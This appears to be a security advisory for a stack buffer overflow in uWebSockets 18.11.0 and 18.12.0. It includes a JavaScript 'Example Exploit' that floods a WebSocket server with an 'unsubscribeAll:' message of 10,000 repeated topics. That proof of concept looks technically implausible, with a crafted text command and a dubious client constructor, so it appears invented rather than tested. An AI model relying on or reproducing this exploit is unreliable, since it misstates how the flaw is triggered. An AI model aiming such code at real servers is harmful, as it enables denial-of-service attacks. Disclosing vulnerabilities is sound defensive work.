Stack Buffer Overflow in uWebSockets

Stack Buffer Overflow in uWebSockets 18.11.0 and 18.12.0

Package

• uWebSockets

Affected versions

• 18.11.0

• 18.12.0

Patched versions

• None provided (vendor's position is that it's not a significant issue)

Description

uWebSockets versions 18.11.0 and 18.12.0 contain a stack-based buffer overflow vulnerability in the uWS::TopicTree::trimTree function, which is called from uWS::TopicTree::unsubscribeAll. The vendor's stance is that this vulnerability might not be considered significant because accumulation of a large number of triggered topics should not occur in a well-designed application using uWebSockets.

Impact

Attackers could potentially exploit this vulnerability to trigger a stack-based buffer overflow, leading to a denial of service condition or possibly arbitrary code execution.

Attack Scenario:

1. An attacker sends a specially crafted message to the WebSocket server.

2. The server, using uWebSockets, processes the message and attempts to unsubscribe from a large number of topics.

3. Due to the vulnerability in the trimTree function, a stack-based buffer overflow occurs, potentially leading to a crash or other unintended behavior.

Proof of Concept

To demonstrate the vulnerability, we can craft a message that triggers the unsubscribeAll function with an excessive number of topics. By analyzing the server's response or behavior, we can observe the impact of the buffer overflow.

Example Exploit:

Suppose the WebSocket server is located at wss://example.com/socket.

const uws = require('uWebSockets');

// Craft a message with a large number of topics
const message = 'unsubscribeAll:' + 'topic'.repeat(10000);

// Establish WebSocket connection
const ws = new uws('wss://example.com/socket');

ws.on('open', function open() {
  // Send the crafted message
  ws.send(message);
});

ws.on('error', function error(err) {
  console.error('WebSocket error:', err);
});

In this exploit, we're sending a message to unsubscribe from 10,000 topics, which could trigger the stack-based buffer overflow vulnerability in the affected versions of uWebSockets.

Mitigation:

1. Consider upgrading to a patched version of uWebSockets if provided by the vendor in the future.

2. Implement proper input validation and bounds checking in applications using uWebSockets to prevent triggering the vulnerability.

3. Follow best practices for WebSocket server development to minimize the accumulation of triggered topics.